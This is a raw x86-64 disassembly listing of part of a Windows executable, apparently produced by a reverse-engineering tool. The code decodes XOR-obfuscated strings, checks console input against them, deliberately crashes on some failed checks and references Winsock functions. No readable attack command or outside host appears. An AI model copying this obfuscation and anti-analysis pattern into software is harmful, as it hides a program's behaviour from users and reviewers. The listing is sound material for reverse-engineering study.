movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp - 0x60], xmm3
jmp 0x1400ced6f
lea r9, [rbp - 0x80]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x14
jl 0x1400ced42
lea rcx, [rbp - 0x80]
call fcn.1400b1980
call fcn.1400b4920
call fcn.1400c74d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
movups xmm2, xmmword [0x14037eb20]
movups xmmword [rsp + 0x20], xmm2
movsd xmm0, qword [0x14037eb30]
movsd qword [rsp + 0x30], xmm0
movzx eax, word [0x14037eb38]
mov word [rsp + 0x38], ax
cmp byte [0x14037eb39], 0
je 0x1400cf0a3
mov r8d, r14d
cmp ebx, 2
jl 0x1400cf063
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm15
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x28]
xorps xmm2, xmm1
movd dword [rsp + 0x28], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm2, xmm1
movd dword [rsp + 0x2c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x30]
xorps xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x140380400]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm14
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm3, xmm1
movd dword [rsp + 0x34], xmm3
mov r8d, 0x18
mov eax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400cf070
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400df320
mov rcx, rax
call fcn.1400b1f80
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400d0310
mov eax, dword [str.ORK9ork9oRK9z]
mov dword [rbp + 0x1c0], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400cf189
mov r8d, r14d
cmp ebx, 2
jl 0x1400cf14f
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1c0], xmm1
jmp 0x1400cf189
lea r9, [rbp + 0x1c0]
nop word [rax + rax]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400cf160
lea rcx, [rbp + 0x1c0]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x1400cf193
lea rcx, [rsp + 0x60]
mov r12, qword [rsp + 0x60]
mov r15, qword [rsp + 0x78]
cmp r15, 0xf
cmova rcx, r12
mov rdi, qword [rsp + 0x70]
cmp rdi, rax
jne 0x1400cf1e2
test rdi, rdi
je 0x1400cf3e3
mov r8, rdi
lea rdx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
test al, al
jne 0x1400cf3e3
mov eax, dword [0x14037eb40]
mov dword [rbp + 0x1c0], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400cf299
mov r8d, r14d
cmp ebx, 2
jl 0x1400cf267
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1c0], xmm1
jmp 0x1400cf299
lea r9, [rbp + 0x1c0]
nop
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400cf270
lea rcx, [rbp + 0x1c0]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x1400cf2a3
lea rcx, [rsp + 0x60]
cmp r15, 0xf
cmova rcx, r12
cmp rdi, rax
jne 0x1400cf2e3
test rdi, rdi
je 0x1400cf3e3
mov r8, rdi
lea rdx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
test al, al
jne 0x1400cf3e3
mov eax, dword [0x14037eb44]
mov dword [rbp + 0x1c0], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1400cf399
mov r8d, r14d
cmp ebx, 2
jl 0x1400cf368
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm15
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x1c0], xmm1
jmp 0x1400cf399
lea r9, [rbp + 0x1c0]
nop
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400cf370
lea rcx, [rbp + 0x1c0]
mov rax, rsi
inc rax
cmp byte [rcx + rax], 0
jne 0x1400cf3a3
lea rcx, [rsp + 0x60]
cmp r15, 0xf
cmova rcx, r12
cmp rdi, rax
jne 0x1400cf696
test rdi, rdi
je 0x1400cf3e3
mov r8, rdi
lea rdx, [rbp + 0x1c0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
test al, al
je 0x1400cf696
movups xmm4, xmmword [0x14037eb48]
movups xmmword [rbp - 0x80], xmm4
movups xmm0, xmmword [str.JW_a1_35_I]
movups xmmword [rbp - 0x70], xmm0
movq xmm5, qword [0x14037eb68]
movq qword [rbp - 0x60], xmm5
mov r8d, r14d
cmp ebx, 2
jl 0x1400cf62d
movdqa xmm2, xmm7
punpckldq xmm2, xmm7
pmuldq xmm2, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm7
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm7
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp - 0x80], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm11
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x78]
xorps xmm3, xmm0
movq qword [rbp - 0x78], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm10
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x70]
xorps xmm3, xmm0
movq qword [rbp - 0x70], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
pmuldq xmm2, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm12
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x68]
xorps xmm3, xmm0
movq qword [rbp - 0x68], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm13
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm9
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp - 0x60], xmm3
jmp 0x1400cf65e
lea r9, [rbp - 0x80]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x14
jl 0x1400cf631
lea rcx, [rbp - 0x80]
call fcn.1400b1980
cmp byte [0x1408a6ee0], 0
jne 0x1400cf67c
mov qword [0], 1
call fcn.1400c9660
cmp byte [0x1408a6ee0], 0
jne 0x1400cf696
mov qword [0], 1
movups xmm2, xmmword [0x14037eb70]
movups xmmword [rsp + 0x20], xmm2
mov edx, dword [0x14037eb80]
mov dword [rsp + 0x30], edx
movzx eax, word [0x14037eb84]
mov word [rsp + 0x34], ax
cmp byte [0x14037eb85], 0
je 0x1400cf933
mov r8d, r14d
cmp ebx, 2
jl 0x1400cf8ed
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm15
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x20], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm2, xmm1
movd dword [rsp + 0x24], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x28]
xorps xmm2, xmm1
movd dword [rsp + 0x28], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm2, xmm1
movd dword [rsp + 0x2c], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rsp + 0x30], xmm2
mov r8d, reloc.WS2_32.dll_sendto
mov eax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400cf900
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400df320
mov rcx, rax
call fcn.1400b1f80
movsd xmm0, qword [0x14037eb88]
movsd qword [rsp + 0x40], xmm0
mov ecx, dword [0x14037eb90]
mov dword [rsp + 0x48], ecx
movzx eax, word [0x14037eb94]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x14037eb96]
mov byte [rsp + 0x4e], al
mov r8d, r14d
cmp ebx, 2
jl 0x1400cfaca
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm15
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x14037eb88]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x48], xmm2
mov r8d, listen
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400cfae0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x40]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400cfb30
mov r8, rsi
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.14006d8c0
lea rdx, [rsp + 0x20]
mov rcx, qword [0x1408a6be0]
call fcn.1400a2fa0
mov r8, qword [rsp + 0x38]
cmp r8, 0xf
jbe 0x1400cfb76
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x20]
call fcn.1400ea290
movups xmm2, xmmword [str.cD_K]
movups xmmword [rsp + 0x20], xmm2
movsd xmm0, qword [0x14037eba8]
movsd qword [rsp + 0x30], xmm0
movzx eax, byte [0x14037ebb0]
mov byte [rsp + 0x38], al
cmp ebx, 2
jl 0x1400cfe2b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm7, xmm0
andps xmm7, xmm14
packuswb xmm7, xmm7
packuswb xmm7, xmm7
movd ecx, xmm15
movd xmm0, ecx
paddb xmm7, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm7, xmm0
movd dword [rsp + 0x20], xmm7
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm11, xmm0
andps xmm11, xmm14
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rsp + 0x24]
xorps xmm11, xmm1
movd dword [rsp + 0x24], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm10, xmm0
andps xmm10, xmm14
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rsp + 0x28]
xorps xmm10, xmm1
movd dword [rsp + 0x28], xmm10
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm12, xmm0
andps xmm12, xmm14
packuswb xmm12, xmm12
packuswb xmm12, xmm12
movd xmm0, ecx
paddb xmm12, xmm0
movd xmm1, dword [rsp + 0x2c]
xorps xmm12, xmm1
movd dword [rsp + 0x2c], xmm12
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm13, xmm0
andps xmm13, xmm14
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rsp + 0x30]
xorps xmm13, xmm1
movd dword [rsp + 0x30], xmm13
movdqa xmm2, xmmword [0x140380400]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r14d, 0x18
mov eax, r14d
lea r8, [rsp + 0x20]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r14b
sub al, cl
add al, 0x36
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x19
jl 0x1400cfe40
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400df320
mov rdx, rax
lea rcx, [0x1408a6cd0]
call fcn.14012fcd0
cmp qword [0x1408a6ef8], 0
jne 0x1400cfea6
mov qword [0], 1
call fcn.1400c4b50
cmp r15, 0xf
jbe 0x1400cfec1
mov r8, r15
mov rdx, r12
lea rcx, [rsp + 0x60]
call fcn.1400ea290
lea rcx, [rbp + 0x70]
call fcn.1400e30d0
mov byte [rbp + 0x30], 1
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rcx, qword [rbp + 8]
call fcn.140115640
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova rcx, qword [rbp + 8]
mov r8, qword [rbp + 0x18]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x30], al
mov r8, qword [rbp + 0x20]
cmp r8, 0xf
jbe 0x1400cff1a
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 8]
call fcn.1400ea290
movdqa xmm0, xmmword [0x14037a260]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], 0
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x38], 0xf
cmova rcx, qword [rbp + 0x1d8]
mov r8, qword [rsp + 0x50]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbp + 0x58]
cmp r8, 0xf
jbe 0x1400cff5f
mov rdx, qword [rbp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.1400ea290
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
call fcn.140115640
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbp]
cmp r8, 0xf
jbe 0x1400cffa2
mov rdx, qword [rbp - 0x18]
lea rcx, [rbp - 0x18]
call fcn.1400ea290
xor eax, eax
lea r11, [rsp + 0x278]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
movaps xmm14, xmmword [r11 - 0x98]
movaps xmm15, xmmword [r11 - 0xa8]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
